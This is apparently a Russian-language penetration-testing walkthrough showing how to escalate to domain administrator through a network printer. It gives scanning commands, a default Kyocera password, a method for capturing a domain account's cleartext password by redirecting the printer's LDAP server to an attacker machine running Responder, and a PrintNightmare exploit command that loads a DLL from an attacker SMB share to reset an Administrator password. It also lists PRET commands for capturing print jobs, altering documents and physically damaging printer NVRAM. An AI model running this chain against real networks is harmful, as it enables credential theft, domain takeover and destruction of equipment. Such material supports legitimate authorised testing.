Получение DA через принтер
Во внутренней сети могут быть сотни и даже тысячи веб-приложений. Посмотреть их все вручную нереально. С помощью eyewitness пройдемся по всем веб-приложениям и попытаемся сделать скриншот, чтобы отсортировать службы по категориям (например, принтеры, сетевые устройства, Unauthorized).
masscan -p 80,443,8080,8443,8000 -i eth0 | tee web_ports.txt cat web_ports.txt | awk {‘print $6’} | sort | uniq > web_hosts.txt nmap -p 80,443,8080,8443,8000 -iL web_hosts.txt -oX nmap_scan_web.xml eyewitness -x nmap_scan_web.xml -d eyew --web
Имея дело с принтерами Kyocera, стоит попробовать пароль по умолчанию (Admin:Admin).
В настройках этого принтера указаны настройки адресной книги, которая используется для загрузки информации о пользователях Active Directory, например, для отправки результата сканирования пользователю. То есть у принтера есть учетная запись, с которой он обращается к LDAP-серверу. Это можно использовать: запустив на своем хосте Responder (который поднимает в том числе и LDAP-сервер), и заменив имя LDAP-сервера на IP-адрес атакующей машины и нажала кнопку «Тест». В результате мы получим пароль УЗ DOMAIN\Reader в открытом виде.
Попробуем проэксплуатировать уязвимость PrintNightmare, которая позволяет выполнять произвольный код с правами системы. Применим общедоступный эксплойт, с полученной ранее учеткой DOMAIN\Reader и dll, при выполнении которой изменяется пароль локального пользователя Administrator на хосте ca02.domain.local:
python CVE-2021-1675.py domain.local\username:password@victim-ip ‘\\attacker_host\smb_share_name\dll_name.dll’
Еще один незаменимый инструмент при тестировании инфраструктуры заказчика - PRET. Вот список возможностей инструмента:
id Show device information. version Show PostScript interpreter version. devices Show available I/O devices. uptime Show system uptime (might be random). date Show printer's system date and time. pagecount Show printer's page counter.
lock Set startjob and system parameters password. unlock Unset startjob and system parameters password. restart Restart PostScript interpreter. reset Reset PostScript settings to factory defaults. disable Disable printing functionality. destroy Cause physical damage to printer's NVRAM. hang Execute PostScript infinite loop.
overlay Put overlay eps file on all hardcopies: overlay <file.eps> cross Put printer graffiti on all hardcopies: cross <font> <text> replace Replace string in documents to be printed: replace <old> <new> capture Capture further jobs to be printed on this device. hold Enable job retention.
set Set key to value in topmost dictionary: set <key=value> known List supported PostScript operators: known <operator> search Search all dictionaries by key: search <key> dicts Return a list of dictionaries and their permissions. resource List or dump PostScript resource: resource <category> [dump]
dump Dump dictionary: dump <dict> Dictionaries: - systemdict - statusdict - userdict - globaldict - serverdict - errordict - internaldict - currentsystemparams - currentuserparams - currentpagedevice
config Change printer settings: config <setting> duplex - Set duplex printing. copies # - Set number of copies. economode - Set economic mode. negative - Set negative print. mirror - Set mirror inversion.